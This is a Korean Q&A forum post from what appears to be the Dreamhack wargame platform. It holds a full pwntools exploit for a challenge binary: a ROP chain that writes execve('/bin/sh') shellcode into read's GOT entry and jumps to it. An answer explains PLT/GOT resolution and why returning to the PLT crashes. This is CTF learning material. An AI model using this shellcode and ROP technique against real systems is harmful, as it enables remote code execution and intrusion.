10 코인 got를 넣어줬을 때는 실행되고 plt를 넣어줬을 때는 실패하는 이유
from pwn import *

context.arch = 'amd64'

p = remote('host1.dreamhack.games', 17182)
e = ELF('./validator_server')

payroad = b'DREAMHACK!'

for i in range(118 + 8, 0, -1):
    payroad += (i).to_bytes(1, byteorder='little')

shell_code = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

read_plt = e.plt['read']
read_got = e.got['read']
pop_rdi = 0x00000000004006f3
pop_rsi_r15 = 0x00000000004006f1
pop_rdx = 0x000000000040057b

payroad += p64(pop_rdi) + p64(0)
payroad += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payroad += p64(pop_rdx) + p64(len(shell_code))
payroad += p64(read_plt)

payroad += p64(read_got)  # read_plt를 넣어도 똑같은 거 아닌가요??

p.send(payroad)

p.send(shell_code)

p.interactive()

위의 코드로 익스플로잇을 실행했을 때 마지막 payroad에 read_plt를 넣었을 때는 쉘을 획득하지 못하고 read_got를 넣었을 때만 쉘코드가 실행되는 이유가 궁금합니다.
read_plt를 넣어줘도 read_got의 주소를 가리키게 돼서 결국 read_got의 쉘코드가 실행되어야 하지 않나요?

#plt #got
작성자 정보
답변 1
질문자가 채택한 답변입니다. 좋은 지식을 공유해줘서 고마워요!
kwakmu18
사이보그

plt/got 동작 원리를 살펴보면, got 영역에는 라이브러리 함수들의 실제 주소가 작성되어 있습니다.
바이너리에서 라이브러리 함수를 호출할 때는 plt를 호출하는데, plt 코드를 보면 GOT 영역에 작성된 주소로 점프하도록 되어 있습니다.
image.png

read_plt를 이용해 read_got에 쉘코드를 입력하고 read 함수에서 ret 하면, 스택에서 값을 꺼내 rip에 대입합니다.(그곳으로 rip가 이동)
마지막에 read_got를 넣는 경우에는 rip가 read 함수의 GOT로 이동하므로, read 함수의 GOT에 작성된 쉘코드가 정상적으로 실행됩니다.
마지막에 read_plt를 넣는 경우에는 GOT 영역에 작성된 주소로 점프하므로, 쉘코드의 앞 8바이트인 0x6e69622fbb48f631 로 이동하게 되어 SIGSEGV가 발생하게 됩니다.

2024.07.30. 02:03
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기